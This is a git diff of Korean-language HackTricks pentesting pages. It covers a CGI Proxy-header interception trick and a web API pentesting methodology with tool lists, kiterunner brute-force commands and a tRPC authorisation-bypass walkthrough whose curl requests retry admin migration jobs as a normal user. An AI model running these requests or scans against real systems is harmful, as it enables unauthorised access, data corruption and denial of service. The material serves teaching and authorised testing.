์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด: "host:web.com"์€ "HTTP_HOST"="web.com"์œผ๋กœ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. +CGI๋Š” http ์š”์ฒญ์˜ ๊ฐ header์— ๋Œ€ํ•ด ํ™˜๊ฒฝ ๋ณ€์ˆ˜(environment variable)๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด: "host:web.com"์€ "HTTP_HOST"="web.com"์œผ๋กœ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. -์›น ์„œ๋ฒ„๊ฐ€ HTTP_PROXY ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ๋‹ค์Œ์„ ํฌํ•จํ•˜๋Š” **header**๋ฅผ ์ „์†กํ•ด ๋ณด์„ธ์š”: "**Proxy: <IP_attacker>:<PORT>**" ๊ทธ๋ฆฌ๊ณ  ์„ธ์…˜ ์ค‘ ์„œ๋ฒ„๊ฐ€ ์–ด๋–ค ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๋ฉด, ์„œ๋ฒ„๊ฐ€ ๋งŒ๋“  ๊ฐ ์š”์ฒญ์„ ์บก์ฒ˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +์›น ์„œ๋ฒ„๊ฐ€ HTTP_PROXY ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ๋‹ค์Œ๊ณผ ๊ฐ™์€ **header**๋ฅผ ์ „์†กํ•ด ๋ณด์„ธ์š”: "**Proxy: <IP_attacker>:<PORT>**". ์„œ๋ฒ„๊ฐ€ ์„ธ์…˜ ์ค‘์— ์–ด๋– ํ•œ ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๋ฉด, ํ•ด๋‹น ์„œ๋ฒ„๊ฐ€ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ชจ๋“  ์š”์ฒญ์„ ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -## **์ฐธ๊ณ ์ž๋ฃŒ** +## **์ฐธ์กฐ** - [Unit 42 โ€“ TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 745bb4ce4..55a7abadc 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -1,55 +1,97 @@ -# ์›น API ์นจํˆฌ ํ…Œ์ŠคํŠธ +# ์›น API Pentesting {{#include ../../banners/hacktricks-training.md}} -## API ์นจํˆฌ ํ…Œ์ŠคํŠธ ๋ฐฉ๋ฒ•๋ก  ์š”์•ฝ +## API Pentesting ๋ฐฉ๋ฒ•๋ก  ์š”์•ฝ -API ์นจํˆฌ ํ…Œ์ŠคํŠธ๋Š” ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•˜๊ธฐ ์œ„ํ•œ ๊ตฌ์กฐํ™”๋œ ์ ‘๊ทผ ๋ฐฉ์‹์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฐ€์ด๋“œ๋Š” ์‹ค์šฉ์ ์ธ ๊ธฐ์ˆ ๊ณผ ๋„๊ตฌ๋ฅผ ๊ฐ•์กฐํ•˜๋Š” ํฌ๊ด„์ ์ธ ๋ฐฉ๋ฒ•๋ก ์„ ์š”์•ฝํ•ฉ๋‹ˆ๋‹ค. +API Pentesting์€ ์ทจ์•ฝ์ ์„ ๋ฐœ๊ฒฌํ•˜๊ธฐ ์œ„ํ•œ ๊ตฌ์กฐํ™”๋œ ์ ‘๊ทผ์„ ํ•„์š”๋กœ ํ•œ๋‹ค. ์ด ๊ฐ€์ด๋“œ๋Š” ์‹ค๋ฌด ์ค‘์‹ฌ์˜ ๊ธฐ๋ฒ•๊ณผ ๋„๊ตฌ๋ฅผ ๊ฐ•์กฐํ•˜๋Š” ํฌ๊ด„์ ์ธ ๋ฐฉ๋ฒ•๋ก ์„ ์š”์•ฝํ•œ๋‹ค. -### **API ์œ ํ˜• ์ดํ•ดํ•˜๊ธฐ** +### **API ์œ ํ˜• ์ดํ•ด** -- **SOAP/XML ์›น ์„œ๋น„์Šค**: ๋ฌธ์„œํ™”์— WSDL ํ˜•์‹์„ ์‚ฌ์šฉํ•˜๋ฉฐ, ์ผ๋ฐ˜์ ์œผ๋กœ `?wsdl` ๊ฒฝ๋กœ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **SOAPUI** ๋ฐ **WSDLer** (Burp Suite ํ™•์žฅ)์™€ ๊ฐ™์€ ๋„๊ตฌ๋Š” ์š”์ฒญ์„ ํŒŒ์‹ฑํ•˜๊ณ  ์ƒ์„ฑํ•˜๋Š” ๋ฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ์ œ ๋ฌธ์„œ๋Š” [DNE Online](http://www.dneonline.com/calculator.asmx)์—์„œ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **REST APIs (JSON)**: ๋ฌธ์„œ๋Š” ์ข…์ข… WADL ํŒŒ์ผ๋กœ ์ œ๊ณต๋˜์ง€๋งŒ, [Swagger UI](https://swagger.io/tools/swagger-ui/)์™€ ๊ฐ™์€ ๋„๊ตฌ๋Š” ์ƒํ˜ธ์ž‘์šฉ์„ ์œ„ํ•œ ๋ณด๋‹ค ์‚ฌ์šฉ์ž ์นœํ™”์ ์ธ ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. **Postman**์€ ์˜ˆ์ œ ์š”์ฒญ์„ ์ƒ์„ฑํ•˜๊ณ  ๊ด€๋ฆฌํ•˜๋Š” ๋ฐ ์œ ์šฉํ•œ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. -- **GraphQL**: API๋ฅผ ์œ„ํ•œ ์ฟผ๋ฆฌ ์–ธ์–ด๋กœ, API์˜ ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•œ ์™„์ „ํ•˜๊ณ  ์ดํ•ด ๊ฐ€๋Šฅํ•œ ์„ค๋ช…์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. +- **SOAP/XML Web Services**: ๋ฌธ์„œํ™”์— WSDL ํ˜•์‹์„ ์‚ฌ์šฉํ•˜๋ฉฐ, ์ผ๋ฐ˜์ ์œผ๋กœ `?wsdl` ๊ฒฝ๋กœ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค. **SOAPUI** ๋ฐ **WSDLer**(Burp Suite Extension) ๊ฐ™์€ ๋„๊ตฌ๋Š” ์š”์ฒญ์„ ํŒŒ์‹ฑํ•˜๊ณ  ์ƒ์„ฑํ•˜๋Š” ๋ฐ ์œ ์šฉํ•˜๋‹ค. ์˜ˆ์‹œ ๋ฌธ์„œ๋Š” [DNE Online](http://www.dneonline.com/calculator.asmx)์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. +- **REST APIs (JSON)**: ๋ฌธ์„œ๋Š” ์ข…์ข… WADL ํŒŒ์ผ๋กœ ์ œ๊ณต๋˜์ง€๋งŒ, [Swagger UI](https://swagger.io/tools/swagger-ui/) ๊ฐ™์€ ๋„๊ตฌ๊ฐ€ ๋” ์นœ์ˆ™ํ•œ ์ธํ„ฐํŽ˜์ด์Šค๋ฅผ ์ œ๊ณตํ•œ๋‹ค. **Postman**์€ ์˜ˆ์ œ ์š”์ฒญ์„ ์ƒ์„ฑํ•˜๊ณ  ๊ด€๋ฆฌํ•˜๋Š” ๋ฐ ์œ ์šฉํ•˜๋‹ค. +- **GraphQL**: API์šฉ ์ฟผ๋ฆฌ ์–ธ์–ด๋กœ, API์˜ ๋ฐ์ดํ„ฐ์— ๋Œ€ํ•ด ์™„์ „ํ•˜๊ณ  ์ดํ•ดํ•˜๊ธฐ ์‰ฌ์šด ์„ค๋ช…์„ ์ œ๊ณตํ•œ๋‹ค. -### **์‹ค์Šต ์‹คํ—˜์‹ค** +### **์‹ค์Šต ๋žฉ** -- [**VAmPI**](https://github.com/erev0s/VAmPI): OWASP ์ƒ์œ„ 10 API ์ทจ์•ฝ์ ์„ ๋‹ค๋ฃจ๋Š” ์‹ค์Šต์„ ์œ„ํ•œ ์˜๋„์ ์œผ๋กœ ์ทจ์•ฝํ•œ API์ž…๋‹ˆ๋‹ค. +- [**VAmPI**](https://github.com/erev0s/VAmPI): ์‹ค์Šต์„ ์œ„ํ•œ ์˜๋„์ ์œผ๋กœ ์ทจ์•ฝํ•œ API๋กœ, OWASP top 10 API ์ทจ์•ฝ์ ์„ ๋‹ค๋ฃฌ๋‹ค. -### **API ์นจํˆฌ ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•œ ํšจ๊ณผ์ ์ธ ์š”๋ น** +### **API Pentesting์„ ์œ„ํ•œ ํšจ๊ณผ์ ์ธ ํŠธ๋ฆญ** -- **SOAP/XML ์ทจ์•ฝ์ **: XXE ์ทจ์•ฝ์ ์„ ํƒ์ƒ‰ํ•˜๋˜, DTD ์„ ์–ธ์€ ์ข…์ข… ์ œํ•œ๋ฉ๋‹ˆ๋‹ค. XML์ด ์œ ํšจํ•œ ๊ฒฝ์šฐ CDATA ํƒœ๊ทธ๋ฅผ ํ†ตํ•ด ํŽ˜์ด๋กœ๋“œ ์‚ฝ์ž…์ด ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **๊ถŒํ•œ ์ƒ์Šน**: ๋‹ค์–‘ํ•œ ๊ถŒํ•œ ์ˆ˜์ค€์œผ๋กœ ์—”๋“œํฌ์ธํŠธ๋ฅผ ํ…Œ์ŠคํŠธํ•˜์—ฌ ๋ฌด๋‹จ ์ ‘๊ทผ ๊ฐ€๋Šฅ์„ฑ์„ ์‹๋ณ„ํ•ฉ๋‹ˆ๋‹ค. -- **CORS ์ž˜๋ชป ๊ตฌ์„ฑ**: ์ธ์ฆ๋œ ์„ธ์…˜์—์„œ CSRF ๊ณต๊ฒฉ์„ ํ†ตํ•œ ์ž ์žฌ์  ์•…์šฉ ๊ฐ€๋Šฅ์„ฑ์„ ์กฐ์‚ฌํ•˜๊ธฐ ์œ„ํ•ด CORS ์„ค์ •์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค. -- **์—”๋“œํฌ์ธํŠธ ๋ฐœ๊ฒฌ**: API ํŒจํ„ด์„ ํ™œ์šฉํ•˜์—ฌ ์ˆจ๊ฒจ์ง„ ์—”๋“œํฌ์ธํŠธ๋ฅผ ๋ฐœ๊ฒฌํ•ฉ๋‹ˆ๋‹ค. ํผ์ €์™€ ๊ฐ™์€ ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด ๊ณผ์ •์„ ์ž๋™ํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. -- **๋งค๊ฐœ๋ณ€์ˆ˜ ๋ณ€์กฐ**: ์š”์ฒญ์—์„œ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ ๊ต์ฒดํ•˜์—ฌ ๋ฌด๋‹จ ๋ฐ์ดํ„ฐ ๋˜๋Š” ๊ธฐ๋Šฅ์— ์ ‘๊ทผํ•ด ๋ด…๋‹ˆ๋‹ค. -- **HTTP ๋ฉ”์„œ๋“œ ํ…Œ์ŠคํŠธ**: ์š”์ฒญ ๋ฉ”์„œ๋“œ(GET, POST, PUT, DELETE, PATCH)๋ฅผ ๋ณ€๊ฒฝํ•˜์—ฌ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋™์ž‘์ด๋‚˜ ์ •๋ณด ์œ ์ถœ์„ ๋ฐœ๊ฒฌํ•ฉ๋‹ˆ๋‹ค. -- **Content-Type ์กฐ์ž‘**: ์„œ๋กœ ๋‹ค๋ฅธ ์ฝ˜ํ…์ธ  ์œ ํ˜•(x-www-form-urlencoded, application/xml, application/json) ๊ฐ„์— ์ „ํ™˜ํ•˜์—ฌ ํŒŒ์‹ฑ ๋ฌธ์ œ๋‚˜ ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค. -- **๊ณ ๊ธ‰ ๋งค๊ฐœ๋ณ€์ˆ˜ ๊ธฐ์ˆ **: JSON ํŽ˜์ด๋กœ๋“œ์—์„œ ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋ฐ์ดํ„ฐ ์œ ํ˜•์œผ๋กœ ํ…Œ์ŠคํŠธํ•˜๊ฑฐ๋‚˜ XML ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ง€๊ณ  XXE ์ฃผ์ž…์„ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜ ์˜ค์—ผ ๋ฐ ์™€์ผ๋“œ์นด๋“œ ๋ฌธ์ž๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋” ๋„“์€ ํ…Œ์ŠคํŠธ๋ฅผ ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค. -- **๋ฒ„์ „ ํ…Œ์ŠคํŠธ**: ์ด์ „ API ๋ฒ„์ „์€ ๊ณต๊ฒฉ์— ๋” ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ญ์ƒ ์—ฌ๋Ÿฌ API ๋ฒ„์ „์— ๋Œ€ํ•ด ํ™•์ธํ•˜๊ณ  ํ…Œ์ŠคํŠธํ•ฉ๋‹ˆ๋‹ค. +- **SOAP/XML Vulnerabilities**: DTD ์„ ์–ธ์€ ์ข…์ข… ์ œํ•œ๋˜์ง€๋งŒ, XML์ด ์œ ํšจํ•˜๋‹ค๋ฉด CDATA ํƒœ๊ทธ๊ฐ€ ํŽ˜์ด๋กœ๋“œ ์‚ฝ์ž…์„ ํ—ˆ์šฉํ•  ์ˆ˜ ์žˆ์–ด XXE ์ทจ์•ฝ์ ์„ ํƒ์ƒ‰ํ•ด๋ณด๋ผ. +- **Privilege Escalation**: ๊ถŒํ•œ ์ˆ˜์ค€์ด ๋‹ค๋ฅธ ๊ณ„์ •์œผ๋กœ ์—”๋“œํฌ์ธํŠธ๋ฅผ ํ…Œ์ŠคํŠธํ•ด ๋ฌด๋‹จ ์ ‘๊ทผ ๊ฐ€๋Šฅ์„ฑ์„ ํ™•์ธํ•˜๋ผ. +- **CORS Misconfigurations**: ์ธ์ฆ๋œ ์„ธ์…˜์—์„œ CSRF ๊ณต๊ฒฉ์„ ํ†ตํ•ด ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š”์ง€ CORS ์„ค์ •์„ ์กฐ์‚ฌํ•˜๋ผ. +- **Endpoint Discovery**: API ํŒจํ„ด์„ ํ™œ์šฉํ•ด ์ˆจ๊ฒจ์ง„ ์—”๋“œํฌ์ธํŠธ๋ฅผ ์ฐพ์•„๋ผ. fuzzers ๊ฐ™์€ ๋„๊ตฌ๊ฐ€ ์ด ๊ณผ์ •์„ ์ž๋™ํ™”ํ•  ์ˆ˜ ์žˆ๋‹ค. +- **Parameter Tampering**: ์š”์ฒญ์— ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ ๊ต์ฒดํ•ด ๋ฌด๋‹จ ๋ฐ์ดํ„ฐ ๋˜๋Š” ๊ธฐ๋Šฅ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์‹คํ—˜ํ•ด๋ณด๋ผ. +- **HTTP Method Testing**: ์š”์ฒญ ๋ฉ”์„œ๋“œ(GET, POST, PUT, DELETE, PATCH)๋ฅผ ๋ณ€๊ฒฝํ•ด ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋™์ž‘์ด๋‚˜ ์ •๋ณด ๋ˆ„์ถœ์„ ์ฐพ์•„๋ผ. +- **Content-Type Manipulation**: ๋‹ค์–‘ํ•œ content type(x-www-form-urlencoded, application/xml, application/json)์„ ์˜ค๊ฐ€๋ฉฐ ํŒŒ์‹ฑ ๋ฌธ์ œ๋‚˜ ์ทจ์•ฝ์ ์„ ํ…Œ์ŠคํŠธํ•˜๋ผ. +- **Advanced Parameter Techniques**: JSON ํŽ˜์ด๋กœ๋“œ์— ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๋ฐ์ดํ„ฐ ํƒ€์ž…์„ ๋„ฃ์–ด๋ณด๊ฑฐ๋‚˜ XXE ์ฃผ์ž…์„ ์œ„ํ•ด XML ๋ฐ์ดํ„ฐ๋ฅผ ์กฐ์ž‘ํ•ด๋ณด๋ผ. ๋˜ํ•œ parameter pollution๊ณผ ์™€์ผ๋“œ์นด๋“œ ๋ฌธ์ž๋ฅผ ์‹œ๋„ํ•ด ๊ด‘๋ฒ”์œ„ํ•œ ํ…Œ์ŠคํŠธ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋ผ. +- **Version Testing**: ์˜ค๋ž˜๋œ API ๋ฒ„์ „์ด ๋” ์ทจ์•ฝํ•  ์ˆ˜ ์žˆ๋‹ค. ํ•ญ์ƒ ์—ฌ๋Ÿฌ API ๋ฒ„์ „์„ ํ™•์ธํ•˜๊ณ  ํ…Œ์ŠคํŠธํ•˜๋ผ. -### **API ์นจํˆฌ ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•œ ๋„๊ตฌ ๋ฐ ๋ฆฌ์†Œ์Šค** +### ๊ถŒํ•œ ๋ฐ ๋น„์ฆˆ๋‹ˆ์Šค ๋กœ์ง (AuthN != AuthZ) โ€” tRPC/Zod protectedProcedure pitfalls -- [**kiterunner**](https://github.com/assetnote/kiterunner): API ์—”๋“œํฌ์ธํŠธ ๋ฐœ๊ฒฌ์— ํƒ์›”ํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋Œ€์ƒ API์— ๋Œ€ํ•œ ๊ฒฝ๋กœ ๋ฐ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์Šค์บ”ํ•˜๊ณ  ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…ํ•ฉ๋‹ˆ๋‹ค. +ํ˜„๋Œ€ TypeScript ์Šคํƒ์€ ์ž…๋ ฅ ๊ฒ€์ฆ์„ ์œ„ํ•ด tRPC์™€ Zod๋ฅผ ํ”ํžˆ ์‚ฌ์šฉํ•œ๋‹ค. tRPC์—์„œ `protectedProcedure`๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ์š”์ฒญ์ด ์œ ํšจํ•œ ์„ธ์…˜(์ธ์ฆ)์„ ๊ฐ€์กŒ๋Š”์ง€ ํ™•์ธํ•˜์ง€๋งŒ, ํ˜ธ์ถœ์ž๊ฐ€ ์ ์ ˆํ•œ ์—ญํ• /๊ถŒํ•œ(์ธ๊ฐ€)์„ ๊ฐ–์ถ”์—ˆ๋Š”์ง€๋Š” ๋ณด์žฅํ•˜์ง€ ์•Š๋Š”๋‹ค. ์ด ๋ถˆ์ผ์น˜๋Š” ๋ฏผ๊ฐํ•œ ์ ˆ์ฐจ๊ฐ€ ๋‹จ์ง€ `protectedProcedure`๋กœ๋งŒ ์ œํ•œ๋  ๊ฒฝ์šฐ Broken Function Level Authorization/BOLA๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ๋‹ค. + +- Threat model: ์—ญํ•  ๊ฒ€์‚ฌ๊ฐ€ ์—†์œผ๋ฉด ๊ถŒํ•œ์ด ๋‚ฎ์€ ์ธ์ฆ ์‚ฌ์šฉ์ž๋ผ๋„ admin-grade ์ ˆ์ฐจ๋ฅผ ํ˜ธ์ถœํ•  ์ˆ˜ ์žˆ๋‹ค(์˜ˆ: background migrations, feature flags, tenant-wide maintenance, job control). +- Black-box signal: `POST /api/trpc/.` ์—”๋“œํฌ์ธํŠธ๊ฐ€ ๊ธฐ๋ณธ ๊ณ„์ •์œผ๋กœ๋„ ์„ฑ๊ณตํ•˜๋Š” ๊ฒฝ์šฐ โ€” ๊ด€๋ฆฌ ์ „์šฉ์ด์–ด์•ผ ํ•œ๋‹ค. Self-serve signups๋Š” exploitability๋ฅผ ํฌ๊ฒŒ ์ฆ๊ฐ€์‹œํ‚จ๋‹ค. +- Typical tRPC route shape (v10+): JSON body๊ฐ€ `{"input": {...}}` ํ˜•ํƒœ๋กœ ๋ž˜ํ•‘๋œ๋‹ค. + +Example vulnerable pattern (no role/permission gate): +```ts +// The endpoint for retrying a migration job +// This checks for a valid session (authentication) +retry: protectedProcedure +// but not for an admin role (authorization). +.input(z.object({ name: z.string() })) +.mutation(async ({ input, ctx }) => { +// Logic to restart a sensitive migration +}), +``` +์‹ค์ „ exploitation (black-box) + +1) ์ผ๋ฐ˜ ๊ณ„์ •์„ ๋“ฑ๋กํ•˜๊ณ  ์ธ์ฆ๋œ ์„ธ์…˜์„ ํš๋“ํ•ฉ๋‹ˆ๋‹ค (cookies/headers). +2) โ€œlistโ€/โ€œallโ€/โ€œstatusโ€ ์ ˆ์ฐจ๋ฅผ ํ†ตํ•ด ๋ฐฑ๊ทธ๋ผ์šด๋“œ ์ž‘์—… ๋˜๋Š” ๊ธฐํƒ€ ๋ฏผ๊ฐํ•œ ๋ฆฌ์†Œ์Šค๋ฅผ ์—ด๊ฑฐํ•ฉ๋‹ˆ๋‹ค. +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.all' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{}}' +``` +3) ์ž‘์—… ์žฌ์‹œ์ž‘๊ณผ ๊ฐ™์€ ๊ถŒํ•œ ์žˆ๋Š” ์ž‘์—…์„ ํ˜ธ์ถœ: +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.retry' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{"name":""}}' +``` +Impact to assess + +- ๋น„๋ฉฑ๋“ฑ ์žฌ์‹œ์ž‘์œผ๋กœ ์ธํ•œ ๋ฐ์ดํ„ฐ ์†์ƒ: ๋งˆ์ด๊ทธ๋ ˆ์ด์…˜/์›Œ์ปค์˜ ๋™์‹œ ์‹คํ–‰์„ ๊ฐ•์ œํ•˜๋ฉด ๊ฒฝ์Ÿ ์ƒํƒœ(race conditions)์™€ ๋ถˆ์ผ์น˜ํ•œ ๋ถ€๋ถ„ ์ƒํƒœ(๋ฌด์Œ ๋ฐ์ดํ„ฐ ์†์‹ค, ๋ถ„์„ ๊ฒฐ๊ณผ ์†์ƒ)๋ฅผ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +- DoS via worker/DB ๊ณ ๊ฐˆ: ๋ฌด๊ฑฐ์šด ์ž‘์—…์„ ๋ฐ˜๋ณต์ ์œผ๋กœ ํŠธ๋ฆฌ๊ฑฐํ•˜๋ฉด ์›Œ์ปค ํ’€๊ณผ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ์—ฐ๊ฒฐ์ด ์†Œ์ง„๋˜์–ด ํ…Œ๋„ŒํŠธ ์ „์ฒด ์žฅ์• ๋ฅผ ์ผ์œผํ‚ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. + +### **API Pentesting์„ ์œ„ํ•œ ๋„๊ตฌ ๋ฐ ์ž๋ฃŒ** + +- [**kiterunner**](https://github.com/assetnote/kiterunner): API ์—”๋“œํฌ์ธํŠธ ๋ฐœ๊ฒฌ์— ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ๋Œ€์ƒ API์— ๋Œ€ํ•ด ๊ฒฝ๋กœ์™€ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์Šค์บ”ํ•˜๊ณ  brute force๋กœ ์‹œ๋„ํ•ด ๋ณด์„ธ์š”. ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj๋Š” ๊ด€๋ จ API ์—”๋“œํฌ์ธํŠธ์˜ ์•ฝํ•œ ์ธ์ฆ์„ ํ™•์ธํ•˜์—ฌ **๋…ธ์ถœ๋œ Swagger/OpenAPI ์ •์˜ ํŒŒ์ผ**์˜ ๊ฐ์‚ฌ๋ฅผ ์ง€์›ํ•˜๋„๋ก ์„ค๊ณ„๋œ ๋ช…๋ น์ค„ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ ์ˆ˜๋™ ์ทจ์•ฝ์  ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•œ ๋ช…๋ น ํ…œํ”Œ๋ฆฟ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. -- **automatic-api-attack-tool**, **Astra**, **restler-fuzzer**์™€ ๊ฐ™์€ ์ถ”๊ฐ€ ๋„๊ตฌ๋Š” ๊ณต๊ฒฉ ์‹œ๋ฎฌ๋ ˆ์ด์…˜์—์„œ ํผ์ง• ๋ฐ ์ทจ์•ฝ์  ์Šค์บ๋‹์— ์ด๋ฅด๊ธฐ๊นŒ์ง€ API ๋ณด์•ˆ ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•œ ๋งž์ถคํ˜• ๊ธฐ๋Šฅ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. -- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): OAS ํŒŒ์ผ์„ ๊ธฐ๋ฐ˜์œผ๋กœ API๋ฅผ ๊ฐ์‚ฌํ•˜๋Š” API ๋ณด์•ˆ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค(์ด ๋„๊ตฌ๋Š” Rust๋กœ ์ž‘์„ฑ๋จ). +- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj๋Š” ๊ด€๋ จ API ์—”๋“œํฌ์ธํŠธ์˜ ์•ฝํ•œ ์ธ์ฆ์„ ํ™•์ธํ•˜์—ฌ **exposed Swagger/OpenAPI definition files**์˜ ๊ฐ์‚ฌ๋ฅผ ๋•๋„๋ก ์„ค๊ณ„๋œ ๋ช…๋ น์ค„ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ๋˜ํ•œ ์ˆ˜๋™ ์ทจ์•ฝ์  ํ…Œ์ŠคํŠธ์šฉ ์ปค๋งจ๋“œ ํ…œํ”Œ๋ฆฟ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. +- Additional tools like **automatic-api-attack-tool**, **Astra**, and **restler-fuzzer** offer tailored functionalities for API security testing, ranging from attack simulation to fuzzing and vulnerability scanning. +- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): Cherrybomb๋Š” OAS ํŒŒ์ผ์„ ๊ธฐ๋ฐ˜์œผ๋กœ API๋ฅผ ๊ฐ์‚ฌํ•˜๋Š” API ๋ณด์•ˆ ๋„๊ตฌ์ž…๋‹ˆ๋‹ค(๋„๊ตฌ๋Š” rust๋กœ ์ž‘์„ฑ๋จ). -### **ํ•™์Šต ๋ฐ ์—ฐ์Šต ์ž๋ฃŒ** +### **ํ•™์Šต ๋ฐ ์‹ค์Šต ์ž๋ฃŒ** -- **OWASP API Security Top 10**: ์ผ๋ฐ˜์ ์ธ API ์ทจ์•ฝ์ ์„ ์ดํ•ดํ•˜๋Š” ๋ฐ ํ•„์ˆ˜์ ์ธ ์ฝ๊ธฐ ์ž๋ฃŒ์ž…๋‹ˆ๋‹ค ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). -- **API Security Checklist**: API ๋ณด์•ˆ์„ ์œ„ํ•œ ํฌ๊ด„์ ์ธ ์ฒดํฌ๋ฆฌ์ŠคํŠธ์ž…๋‹ˆ๋‹ค ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). -- **Logger++ Filters**: API ์ทจ์•ฝ์ ์„ ํƒ์ƒ‰ํ•˜๊ธฐ ์œ„ํ•ด Logger++๋Š” ์œ ์šฉํ•œ ํ•„ํ„ฐ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). -- **API Endpoints List**: ํ…Œ์ŠคํŠธ ๋ชฉ์ ์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ์ž ์žฌ์ ์ธ API ์—”๋“œํฌ์ธํŠธ์˜ ์„ ๋ณ„๋œ ๋ชฉ๋ก์ž…๋‹ˆ๋‹ค ([GitHub gist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d)). +- **OWASP API Security Top 10**: ์ผ๋ฐ˜์ ์ธ API ์ทจ์•ฝ์ ์„ ์ดํ•ดํ•˜๋Š” ๋ฐ ํ•„์ˆ˜ ์ž๋ฃŒ ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). +- **API Security Checklist**: 